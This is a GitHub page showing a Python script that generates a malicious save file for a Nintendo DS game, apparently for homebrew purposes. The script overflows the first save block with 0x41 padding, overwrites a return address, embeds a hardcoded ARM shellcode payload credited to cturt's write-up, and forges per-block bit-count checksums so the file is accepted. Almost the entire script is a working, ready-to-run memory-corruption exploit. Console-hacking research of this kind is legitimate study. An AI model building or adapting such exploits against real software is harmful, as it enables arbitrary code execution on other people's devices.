-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbuild_save.py
More file actions
100 lines (72 loc) · 3.14 KB
/
build_save.py
File metadata and controls
100 lines (72 loc) · 3.14 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import argparse
argParser = argparse.ArgumentParser()
argParser.add_argument(dest='filename', help="Desired filename for the save-exploit file")
args = argParser.parse_args()
""" The amount of bytes of the entire savefile"""
SAVEFILE_SIZE = 0x2000
""" The amount of bytes of each block inside the savefile """
BLOCK_SIZE = 0xa74
"""
Thanks to cturt for the payload !
https://cturt.github.io/DS-exploit-finding.html
"""
payload = b'\x01\x03\xA0\xE3\x03\x10\xA0\xE3\x02\x28\xA0\xE3\x80\x30\xA0\xE3\x00\x40\xA0\xE3\x04\x13\x80\xE5\x00\x20\x80\xE5\x40\x32\x80\xE5\x6C\x40\x80\xE5\x1F\x10\x81\xE2\x1A\x05\xA0\xE3\x03\x29\xA0\xE3\xB2\x10\xC0\xE0\x01\x20\x52\xE2\xFC\xFF\xFF\x1A\xF8\xFF\xFF\xEA'
def build_saveexploit():
"""
Savefile structure looks like that:
*** Block 1 ***
*** Block 2 ***
*** Block 3 ***
*** Footer ***
Each block has its own checksum inside the footer.
We will be exploiting only the first block, the rest will look like normal
"""
# Each normal block begins with a special username, indicating an empty save slot
normal_block = bytes('$unused$', 'utf8')
# The rest is going to be filled with 0x00
normal_block += b'\x00' * (BLOCK_SIZE - len(normal_block))
# Now let's build the exploit block !
# First add padding 0x41
exploit_block = b'\x41' * 1044
# add payload address
exploit_block += b'\x8c\x75\x0e\x02'
# add some 0x00 for padding
exploit_block += b'\x00' * 8
# add the payload!
exploit_block += payload
# fill up the rest with 0x00 as it's done with the initial blocks
exploit_block += b'\x00' * (BLOCK_SIZE - len(exploit_block))
# Only the footer left...
# It consists of one checksum foreach block
footer = get_checksum_for_block(exploit_block)
footer += get_checksum_for_block(normal_block)
footer += get_checksum_for_block(normal_block)
# Then the developers from 'Firehazard' added some sort of version number and two nullbytes
footer += bytes('FiReHaZaRd_V07', 'utf8') + b'\x00' * 2
# Now we can build the final savefile !
savefile_buffer = exploit_block + 2 * normal_block + footer
# fill up the rest with 0xFF to get to the size
savefile_buffer += b'\xff' * (SAVEFILE_SIZE - len(savefile_buffer))
return savefile_buffer
def get_checksum_for_block(block : bytes):
"""
Checksum is calculated for each block indepentendly
by counting the number of bits set to '1'
"""
count = 0
for i in range(len(block)):
count += block[i].bit_count()
return count.to_bytes(2, 'little')
if __name__ == "__main__":
exploited_savefile = build_saveexploit()
try:
f = open(args.filename, 'wb')
try:
f.write(exploited_savefile)
print(f'Save-Exploit file written to {args.filename}')
except:
print(f'Something went wrong when writing to the file {args.filename}')
finally:
f.close()
except:
print(f'Something went wrong when opening the file {args.filename}')